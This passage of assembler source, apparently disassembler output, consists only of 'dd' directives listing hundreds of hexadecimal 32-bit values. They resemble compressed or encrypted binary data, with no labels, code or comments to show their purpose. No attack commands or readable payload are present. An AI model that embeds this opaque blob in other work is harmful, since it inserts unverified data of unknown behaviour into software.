		dd 545E0B24h, 360040D0h, 0E40594B1h, 7E75D40Eh,	81CC3A1h
		dd 4842C020h, 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h
		dd 18C2A028h, 1834FA89h, 5A12FF82h, 0FC00AF74h,	5F39DB31h
		dd 0D8E2B0h, 7E1DFD94h,	7CF60542h, 82000EE6h, 680AA21Ch
		dd 974A18h, 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh
		dd 0EE7717h, 910C1867h,	0C7D7C6B7h, 0AFC8A500h,	7F95A215h
		dd 0B0040017h, 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h
		dd 330A440Dh, 9B0C960h,	3B02010Bh, 67D1C50h, 49DB608Bh
		dd 9076010Ch, 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h
		dd 1749BBh, 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h
		dd 75D13C89h, 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h
		dd 58FDAD80h, 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h
		dd 7E0E37F6h, 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h
		dd 601F4DF8h, 0D2F13304h, 3F822D37h, 88B3638Ah,	0FA092h
		dd 2808FD16h, 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h
		dd 3172403Bh, 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh
		dd 51C4D9A0h, 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h
		dd 7607B91h, 149500D7h,	0AAD504F0h, 0F7303Bh, 5BDE97D1h
		dd 107EB8Bh, 5DC9CAD4h,	0E8871067h, 0D50027E9h,	18D02325h
		dd 2EDAED84h, 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h
		dd 838006C6h, 5198FFh, 0EF37107Eh, 0C4AA142Ah, 638A5D0Fh
		dd 351E977Ch, 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h
		dd 871D79FAh, 54CF2088h, 803C004Ah, 638A551h, 58A2B891h
		dd 89000B15h, 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah
		dd 772E6D41h, 706A6200h, 7899DF60h, 14510010h, 22836350h
		dd 7D5C4161h, 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h
		dd 47667157h, 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh
		dd 6409F07Fh, 80A66974h, 534018CFh, 48770061h, 0B37C577Dh
		dd 4E019046h, 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h
		dd 826C6F1Fh, 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h
		dd 1E20AA15h, 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h
		dd 0F888DE65h, 1243001Ch, 3637E72h, 61776D55h, 0B0604A00h
		dd 0F07C6462h, 67700166h, 460E4486h, 5276EC0Ch,	45B0711Ch
		dd 743961C2h, 6EF6E063h, 0C7D81DADh, 66F1404Dh,	76CC6A4Fh
		dd 77146400h, 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h
		dd 0EA6F4363h, 581862h,	6C1C6847h, 77875166h, 31706B00h
		dd 1D466365h, 74487140h, 1F077972h, 80615167h, 74945527h
		dd 88070F28h, 4AE36F54h, 6E40E29Eh, 0D373E06Bh,	429E0078h
		dd 13048FEh, 6A0E654Bh,	0C7636961h, 0D3E128C0h,	87C421FBh
		dd 0F860F834h, 681E009Fh, 486E38BFh, 95073052h,	1447CA1Ch
		dd 3741150h, 61670046h,	60886376h, 8BA05677h, 6D000A62h
		dd 7AA87D66h, 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh
		dd 9E68573Eh, 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h
		dd 48B07742h, 0B6006C63h, 74417289h, 613A71h, 1C0696Bh
		dd 7A7B6DCBh, 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h
		dd 0E639C31h, 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h
		dd 0A642143Ch, 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h
		dd 406A0B86h, 0BB505Ch,	44A19946h, 7D0D3951h, 14101E15h
		dd 67FC80C3h, 28B4C28h,	3D00F00h, 0C2203C50h, 17403AF6h
		dd 21742B80h, 1CA73E16h, 0BA98FF00h, 61C40775h,	1D4775F7h
		dd 0C2D1658Bh, 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h
		dd 0D2380457h, 81E7E0FBh, 60F1FFD3h, 24007CB5h,	2D46DD69h
		dd 0EBFF497h, 0D55349Fh, 0F7A42520h, 9178C912h,	14B8801Fh
		dd 8C850F00h, 0F2AEB19h, 0CE906544h, 7481644Fh,	71830E54h
		dd 0D020CD66h, 1A004240h, 122E3C32h, 262FE175h,	1C8FD16Dh
		dd 0E861C085h, 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h
		dd 528033B2h, 35752B03h, 19998D00h, 0BE15811Dh,	0D0FA00A4h
		dd 53451BACh, 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h
		dd 0ECF17A24h, 28B80AEEh, 58A01A00h, 1BE82654h,	8BA71D76h
		dd 0BED10069h, 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h
		dd 3B975E9Dh, 0C000F2DFh, 0A5CBDB1h, 7A768B25h,	0AA830E12h
		dd 5A204E7Eh, 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h
		dd 335C2C8Ah, 183A0043h, 1B10475h, 3FE9EB00h, 84ED1C80h
		dd 1DF807C9h, 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh
		dd 8F8100AFh, 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh
		dd 8CA82F21h, 436084DBh, 0FC7A46E9h, 930157F0h,	0C40C21CCh
		dd 0B8C7C890h, 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h
		dd 10FBA100h, 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh
		dd 0F0BAF0B4h, 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h
		dd 760F09F8h, 545DF0Ch,	0FB80EB0Fh, 2D6995h, 0E885D959h
		dd 49BA1E37h, 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h
		dd 0D9028E0Fh, 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh
		dd 0B7987827h, 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h
		dd 43CF49B5h, 1B2480C4h, 0CDC340B9h, 47823C5Eh,	1B66A12h
		dd 7F17FB56h, 851EC422h, 0BC49403h, 0D0763F0Fh,	0F4BA3437h
		dd 8C310053h, 1CEB7FD8h, 0C02C3C90h, 27002784h,	558BF1B8h
		dd 0EF360006h, 26DC4522h, 0E8000A10h, 82D4BF3h,	32FEF4h
		dd 8A2FEC2Eh, 0D76219D6h, 830003E6h, 8EC1A5F8h,	14546C6h
		dd 6EB029DEh, 0C8305399h, 2600567Eh, 82502D13h,	259C7DDh
		dd 44B3D375h, 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh
		dd 42297AE9h, 34288B01h, 0F0210407h, 0C70515Eh,	15F4F48h
		dd 9B5A0F7h, 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h
		dd 4A0F00D6h, 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh
		dd 8053B84h, 12410C01h,	0E028C310h, 0F600D311h,	1CBA2F13h
		dd 3455251h, 87A2EBC6h,	0E4A0BFE5h, 0AC00F24Fh,	6C7E8086h
		dd 1A7434h, 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah
		dd 0BA91C93h, 0CEAF8B5Ah, 90D35707h, 16B5D1FDh,	0DDAEFC00h
		dd 0DA96AF4h, 1BEE004Eh, 0ECB34F89h, 0C0047D8h,	0B45EBD03h
		dd 0D224BFh, 60923949h,	9F6BE41h, 32E6B07h, 9E30E4BCh
		dd 0D31840h, 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h
		dd 6583F0h, 0B106FE3Bh,	76BE695Bh, 6EC0FA00h, 73BF1210h
		dd 0E333000Ah, 0D854045Fh, 0A90352EBh, 257435A4h, 6D069022h
		dd 905A007Fh, 0E99527C3h, 8900AAFFh, 821B4E42h,	0EC0257EBh
		dd 0B8D3F5D6h, 5098F23h, 12D5BEDBh, 0B4B00092h,	837825E9h
		dd 46EC600h, 0E0EB72B6h, 7C75038Eh, 14AEA1A8h, 0D99548A0h
		dd 0EE000E4Eh, 279F2838h, 16770756h, 0E7EB2DB4h, 0D92A62F1h
		dd 0CF228E60h, 0CEFA3300h, 63B87924h, 76DA0049h, 0D428B921h
		dd 0B7007599h, 432FD9B2h, 2356A7h, 464592EEh, 690C16EBh
		dd 30B3B00h, 24CF2BCAh,	0DF8A006Fh, 0AE4927Ch, 0A000275Fh
		dd 91F333Ah, 0F383C50Ch, 0D8C8E931h, 1E993EB5h,	82920E00h
		dd 0EB68422Bh, 75014F00h, 3C6D2859h, 96E60025h,	0D4DDC30Ch
		dd 80072089h, 1DC0267Bh
		dd 0B50098B7h, 437EE0h,	0F5AC921Bh, 0B0C1D73Bh,	450C532Ch
		dd 0EFC25000h, 437FC6h,	2856A9F9h, 8F7D0EEh, 0A8517A00h
		dd 2DA6D3AAh, 8C4D005Dh, 0BF156726h, 13007387h,	3FE5F685h
		dd 7031188h, 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h,	8024683Eh
		dd 0FA92A97Dh, 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h
		dd 28033372h, 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h
		dd 2B7D4F0Ch, 28783F03h, 0A90C5820h, 63C510AFh,	75D0EC0h
		dd 0D7B153C5h, 294E00B7h, 3E037654h, 7D7A47D2h,	717CF190h
		dd 609825E0h, 8563822Fh, 6B006E96h, 0EC3DFB4Bh,	1E4C52ACh
		dd 0EEAFF5DBh, 2EDC0941h, 3752880h, 0D7B850B3h,	6899D500h
		dd 2C78B22Fh, 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh
		dd 4EA2A0F0h, 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h
		dd 1E4319DFh, 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h
		dd 9C18153Bh, 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h
		dd 8414258h, 1A91CB03h,	0AF46FCh, 0B454BF2Ah, 0D5E868E1h
		dd 0B9CC8900h, 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh
		dd 104914D5h, 0A0DA2Ch,	0B619890Ch, 0FAD0FB04h,	752D3C01h
		dd 0E2F0D1F1h, 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h
		dd 64658420h, 384E3Dh, 0DC5B6C21h, 91879D68h, 0A4A22404h
		dd 4EC09015h, 71E4CB2h,	5C7AB3FAh, 0AC6607Eh, 0EB07EE47h
		dd 0D7FFE215h, 0DB497190h, 45170314h, 0A130306h, 2E77F098h
		dd 48F0F2ABh, 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h,	9A70F31Ah
		dd 0FF0A00C0h, 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh
		dd 45600728h, 618A6543h, 0D94CD0A8h, 68E8EB85h,	4D9C7DE0h
		dd 84A22C06h, 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah
		dd 0B6E83C80h, 4CC1E924h, 11DAEA7h, 0A9840003h,	8AB08805h
		dd 0C0001CE4h, 80CA8B2Eh, 7E690C1h, 0C7D31EE9h,	40FAE70Fh
		dd 0E1040675h, 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h
		dd 8100FB92h, 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h
		dd 488E3763h, 308DEDE5h, 3A0E51B3h, 0BCC990A8h,	68A1C07h
		dd 1757ED1h, 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh
		dd 42006C4Dh, 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h
		dd 3E0313A4h, 1D004D93h, 7601C71Ch, 0EBE09237h,	0E93C1703h
		dd 0D00467C0h, 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh
		dd 720904E8h, 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh,	0C6006A71h
		dd 1237E903h, 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h
		dd 1F2C0F3Eh, 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h
		dd 0B4CFCCE0h, 66ED10h,	0F8AD68E7h, 851C7DA4h, 0CCF4423Dh
		dd 7B301D4Eh, 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh
		dd 7DF8C549h, 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h
		dd 0EE007EC9h, 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh
		dd 0CFD7EA00h, 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h
		dd 7396DD05h, 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh
		dd 92747F24h, 1800E024h, 0DE4BE810h, 9E140E12h,	68AF9608h
		dd 0EB1E0AE0h, 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h
		dd 7D5F32BCh, 11008279h, 41C9945h, 3F1ADA0Dh, 130ED1F5h
		dd 6C60B3C7h, 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh
		dd 47498476h, 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h
		dd 3CD160B2h, 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h
		dd 0EA2C7E4Fh, 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h
		dd 0F8D7F484h, 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h
		dd 47441653h, 0A69DAE18h, 0EC550Eh, 0ABF00798h,	3B06E98Ch
		dd 75E89300h, 0D9E23AE1h, 84503D4h, 0A7C77632h,	0FF96EBE0h
		dd 4F127A1Dh, 0AA39C4C0h, 24F46C58h, 3B184487h,	8130299Fh
		dd 463B03D8h, 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh
		dd 85000CCh, 0DED4BA04h, 0B400E542h, 6B1CDAB6h,	74AE9046h
		dd 16A11F8Fh, 7CA88E8Bh, 0CAFC5B60h, 920034F5h,	1C5815D1h
		dd 0E3AC6Eh, 8F433614h,	8C9C46A2h, 8A40F101h, 814A3B08h
		dd 603D840h, 428D0050h,	4D98EA0Ah, 2900E8F0h, 845E575Bh
		dd 0A0D2754Bh, 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h
		dd 7FE7F353h, 0F5DF03AAh, 7A8D7B58h, 22B5780Fh,	2FA4035h
		dd 0F3F4CB8h, 2FBF0142h, 53A22A00h, 33001034h, 6547E788h
		dd 3D180C04h, 0AB805249h, 41B26CECh, 0F586E34h,	70690052h
		dd 37AF60A3h, 2162005Ah, 1D6B400Dh, 0DB3B2B88h,	0C805003Ch
		dd 0C4156550h, 0BF77E9h, 0F12F40Ch, 95845D85h, 3C3E9A67h
		dd 0C74E30C7h, 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh
		dd 0EC007571h, 0D43808FDh, 855FC9h, 5EB133A3h, 0BAA068FCh
		dd 119E3202h, 0C054DF08h, 7E14DE57h, 5C69006Eh,	4F77042h
		dd 4F5C2A6Ah, 300D1FD0h, 0B01C8700h, 1F625FD6h,	0E651C8h
		dd 702EC949h, 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h
		dd 0BAFD561Ah, 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h
		dd 80A80858h, 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah
		dd 706C0161h, 0B8877B34h, 8350DDA1h, 3899940Fh,	42F397B2h
		dd 430B07A0h, 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h
		dd 6119CA17h, 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h
		dd 0BE51C270h, 0B8004929h, 0C61744BBh, 4A407Ah,	3BD2AF24h
		dd 33F2B911h, 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h
		dd 302D6580h, 0DC00EE0Bh, 0FB832E57h, 0A32259h,	5CDF1198h
		dd 733DB092h, 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h
		dd 0C419FED5h, 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h
		dd 0A2C1CA03h, 30F1600Eh, 5F58A37Dh, 8BBF0094h,	0CCE8DDD8h
		dd 24BA070Ch, 0B0CF6D38h, 467154ABh, 8EC2130Eh,	0A0F12F10h
		dd 204DE4E2h, 3CF87708h, 22584354h, 0E80FEC00h,	945E6A0Dh
		dd 41FD301h, 1CBE6096h,	31FCBD40h, 4C5001C0h, 0A80E6802h
		dd 7FAED4AAh, 3FFFE400h, 0E6DE9481h, 10793CDBh,	0B881D53Ah
		dd 6DFEBDAAh, 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h
		dd 80FF31F5h, 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh
		dd 0FEFAF876h, 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h
		dd 8702BFEDh, 8D26559Bh, 0B300E052h, 507A366Ch,	0FE3500F6h
		dd 0ADD66AF9h, 5002818h, 47CA0CC1h, 4FC8D53h, 0C6297BDFh
		dd 0F09587DCh, 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h
		dd 12E653FFh, 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h
		dd 0DB313D53h, 0E5E8B780h, 0E2ABC8A0h, 3F61F600h, 750F09C3h
		dd 5D7D07h, 0B355565Ah,	0D14B1620h, 810CEA3Ah, 527333D6h
		dd 0EB20077Fh, 114000B4h, 31577242h, 43F8484Dh,	9729863Ch
		dd 0F3002625h, 544CF20h, 0B3850266h, 7C080C2Ch,	3B4C980h
		dd 2B1F4BD6h, 0B0000A60h, 0C8022E18h, 3F800F06h, 0DC01353h
		dd 2008101Ah, 4AA64126h, 3ED0003Fh, 2440D848h, 0C2790950h
		dd 38805F86h, 8E0E7412h, 28824C01h, 0C780D231h,	0F7E2C8h
		dd 4101028Ah, 0F686140Bh, 7570E000h, 0DE3C58F2h, 7637723Ah
		dd 3378F7h, 801F7BCDh, 44470FF8h, 73C6F600h, 0A3A5275h
		dd 0E6B37740h, 54D30F20h, 5C401460h, 612BC889h,	817A4400h
		dd 586A07E2h, 0F0C43FE4h
		dd 781CC91Ch, 40CEDC60h, 1001DF6h, 10B77538h, 1C9EBA3h
		dd 39F00A7Bh, 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh
		dd 3FAC8313h, 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h
		dd 0A2F10021h, 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h
		dd 669CFA81h, 7397B0FBh, 0C4883C05h, 0E072500h,	0F62FCA5h
		dd 0EA7B8401h, 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h
		dd 172C7440h, 1739997Ah, 74126601h, 0D9075913h,	804B49BFh
		dd 5BBCE94Bh, 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh
		dd 0A0026433h, 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h
		dd 3E45A01Bh, 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh
		dd 0F25B64BEh, 0BCC45424h, 791B200h, 4A0250h, 18066C74h
		dd 3FEB2880h, 1D8D3700h, 0FFEEB90Ah, 91FCE340h,	0CB3104E8h
		dd 0C0EB7460h, 362C13E9h, 230311E8h, 5BD24C30h,	0B0E8A097h
		dd 5A8A098h, 0D4370734h, 20358BB2h, 0EC0DC402h,	318E800h
		dd 3C836F11h, 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h
		dd 0FF4BA14h, 0ACFE2F70h, 1588E200h, 32003A8Bh,	809DA2C8h
		dd 49A03Dh, 0ECA11A74h,	509E5CB9h, 32872900h, 0FF10280Ch
		dd 81A60015h, 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah
		dd 5EE09332h, 83F07072h, 0E224B90Fh, 34801E1Ch,	5A7CA63Eh
		dd 0AEF90312h, 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h
		dd 0B464FCE0h, 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch
		dd 8C66C700h, 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h
		dd 186C644Bh, 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh
		dd 66007C8Fh, 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h
		dd 9A84B58Ch, 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h
		dd 57ECF391h, 81C32C69h, 7422097Ah, 0B5408300h,	0C0010A6Ch
		dd 38F640Ch, 3DDCD0BAh,	5CC10042h, 525051C3h, 8807EE66h
		dd 942C4AE9h, 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h
		dd 0F25850h, 0E23B358Dh, 0FA01318Eh, 3463007Fh,	0D7EE56AAh
		dd 3600A5B7h, 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h
		dd 0B3805107h, 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh
		dd 434907D0h, 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h
		dd 3685944h, 30058B64h,	3C148500h, 421904F2h, 0C4080F02h
		dd 4B80A829h, 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h
		dd 1859005Eh, 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h
		dd 33CB0E68h, 88091DBh,	0E8507417h, 62005AFCh, 0F207E688h
		dd 97D36Bh, 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h
		dd 4CBBD4DEh, 600F713h,	560B245Bh, 1CCB3A73h, 9F92EBA7h
		dd 403B1F3Dh, 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h
		dd 8FB6751Bh, 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h
		dd 74C1487Fh, 80FAB89Fh, 0FB4F7D00h, 9536D0D6h,	1E40087h
		dd 2410497h, 0F5162575h, 0C702F45Dh, 409AFC54h,	0EB4599h
		dd 0F97C1A18h, 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh
		dd 57B3004Fh, 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh
		dd 4C32FFB3h, 8A60083h,	962E5CF6h, 8EF87193h, 221FEC7Ah
		dd 0B44F4175h, 2B3960E4h, 705F1BC2h, 0EF8F17Ch,	83F41D11h
		dd 16158EA2h, 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h
		dd 95043D28h, 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h
		dd 153B1249h, 0E10EF0A5h, 683C7700h, 2E855274h,	7FD70059h
		dd 756E8441h, 8006604h,	4A92BE69h, 0E26B5B10h, 0F313E2E2h
		dd 19C4B8DDh, 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h
		dd 41B42C3Dh, 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h
		dd 0C27288Ah, 0B1383EFFh, 96BD7800h, 50101560h,	5CBF5300h
		dd 0FD702FC9h, 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h
		dd 2B50296h, 89F4F287h,	0CAC00D14h, 680084E9h, 0A177EA90h
		dd 490894h, 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh
		dd 50222C00h, 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h
		dd 50093195h, 32836068h, 0DB5D0303h, 0A559974h,	2EB20400h
		dd 684C2B7Ah, 13D7614h,	66400885h, 0CCA8D753h, 5C6761EDh
		dd 0ACC01C20h, 6F05065h, 62E1B857h, 1E00A03Ah, 6A04C80Eh
		dd 3C8B421Ch, 1B808980h, 472052D4h, 123B9028h, 9734CFAh
		dd 0A94CFh, 53BE23F0h, 85E0058h, 862A840Ch, 0F107B878h
		dd 0A33C201Dh, 3410801Fh, 5CD6490h, 364911A1h, 24810FA8h
		dd 5B382C00h, 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh
		dd 72D652A8h, 789CF800h, 0C1E5278Dh, 4CAAA012h,	0F613B888h
		dd 0EC3700BEh, 9075DBD5h, 741DCBF0h, 40036244h,	0D77C8B52h
		dd 0AB782AB0h, 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h
		dd 82FB37D6h, 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h
		dd 0D7BC5Bh, 0A1AAC9Fh,	4410044Fh, 0B34C8F00h, 0FE91C690h
		dd 0EADCE9ADh, 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h
		dd 25FF3BABh, 6103D0CBh, 1CA70090h, 49E4491h, 34F66A71h
		dd 0C028BB75h, 0C6FCE7A1h, 0FBCD8204h, 81C00B21h, 79747C02h
		dd 0A72E092Ah, 3E833807h, 0B91570Dh, 0FB77001h,	80041D3Bh
		dd 0DDCA0A89h, 1C3AFB7Ah, 0C08DB370h, 0B979B528h, 0D8038BE2h
		dd 0EBCE5798h, 7E2BE87Ch, 384F0008h, 0C7060317h, 0D70096B5h
		dd 885444A6h, 2901164h,	2135E6Ch, 894193ADh, 0CF9BF0FDh
		dd 0CB281D04h, 32805D55h, 0BC035Ah, 5E6D9FD4h, 83D7E1D3h
		dd 28AFEA00h, 0B73B677Ch, 2D0E74C5h, 3AF03659h,	7720C00h
		dd 0A8C37581h, 31A500F3h, 0FDF9C6F8h, 5300707Eh, 0E98A5A77h
		dd 0EF92A2h, 0F23A2C29h, 0F8109C65h, 51541700h,	8A87C545h
		dd 0D37BB4h, 52FB25D2h,	9264F2C3h, 4B4AFC13h, 694CA600h
		dd 841C10h, 9E5D738Bh, 0F042BF19h, 0C8915500h, 5CCE2A7Ah
		dd 18B91C53h, 35B8315h,	0A3D8FED3h, 0F598E011h,	51A4042Ch
		dd 89ABD00h, 7DB889h, 20A359B0h, 0EC46C4BBh, 45D69300h
		dd 0A78D69BAh, 477F3D4Bh, 0AF5D2F83h, 4CE010ACh, 400051B6h
		dd 0AD427BD8h, 3EB84323h, 508E845Ch, 124080D6h,	0F33B558Dh
		dd 0FFA48326h, 0C8DFC900h, 680A11h, 0AC3EBDF0h,	0D6991401h
		dd 1749FA00h, 0F3458AC0h, 0A6C85CFEh, 16090173h, 28EB2280h
		dd 0E1F7F8C6h, 1F60139h, 88F4328Fh, 5A60F563h, 8721267Ch
		dd 0DC20006Eh, 8056510Bh, 0FC4DEC01h, 977BE983h, 3F876C0h
		dd 0C909DB31h, 78803974h, 3C00AC37h, 817A15E8h,	98427D63h
		dd 0E9D000FEh, 4402701Fh, 0E707EB49h, 72D5068Bh, 8A0D00BEh
		dd 553A16h, 0FAED75F5h,	615097E0h, 0C30045Ch, 5A0689D8h
		dd 2890005Fh, 0B56D7E9h, 42B85BC5h, 0DE1C5525h,	0BD340310h
		dd 0B4EAB309h, 0F87877C1h, 0EC00FCF9h, 0C2B2FFCEh, 0B8901548h
		dd 69F70059h, 1680827h,	2F000BD4h, 41EDCE80h, 152420h
		dd 74664C94h, 1FFD389h,	840F3A00h, 113FA9F4h, 0BFDE0096h
		dd 0CA02A0CCh, 30005308h, 0A30D1C64h, 9105CA5h,	0F34E8218h
		dd 7DBA5080h, 2409D965h, 8B14285Eh, 126D00CFh, 3A551D89h
		dd 0E0835AEDh, 0E9A878F5h, 6952A4F0h, 85C79900h, 77E80810h
		dd 0F2C403AEh, 0F42133DEh, 527D23D0h, 0E2399902h, 405A353Ch
		dd 91A92C9h, 366E194Fh,	16C0D08Fh, 0A3CDF841h, 2134F600h
		dd 0F4107D2Ah, 0C94E00D4h
		dd 0E1665EE3h, 0F900E2B4h, 0F3BE9045h, 5D592F0h, 0ED8B9CB8h
		dd 0AFF7819Bh, 0CB4FF98Fh, 759733A8h, 4FAA5F2h,	0B73A2274h
		dd 84341F1Ch, 0BB38D840h, 3E7C92AEh, 5C00F2FEh,	82EFD7B1h
		dd 0F7031B31h, 24A0E742h, 150A0E8h, 0A798009Dh,	3EBF7DD8h
		dd 0F53F97B4h, 0FC53801Eh, 75A85BAFh, 0A4E300D7h, 886EA79Ch
		dd 0DF7C514Ch, 0B0465A07h, 0ED08087h, 0FAE33C13h, 3D8B002Eh
		dd 833F6052h, 0B80011EFh, 0A608577Ah, 3E210429h, 0A0003A45h
		dd 5FFC07B2h, 0EA096A55h, 87067174h, 85600A53h,	1D33C25Eh
		dd 81F2DD18h, 281536C4h, 0F82CD589h, 0AC907784h, 0D30022FAh
		dd 0A51DE87Eh, 5539D9h,	0A4CFAAACh, 0B6AB362Ah,	4ED25005h
		dd 7BC04B56h, 888CBh, 0C80DF415h, 0C2F0110Ch, 28588D07h
		dd 4540D8D6h, 4495ECh, 6DDB35F6h, 0CF4130D2h, 9D71EB1Fh
		dd 0EAB82280h, 3EAEE3h,	44B4228h, 0AFAF9DFh, 8F6A3F00h
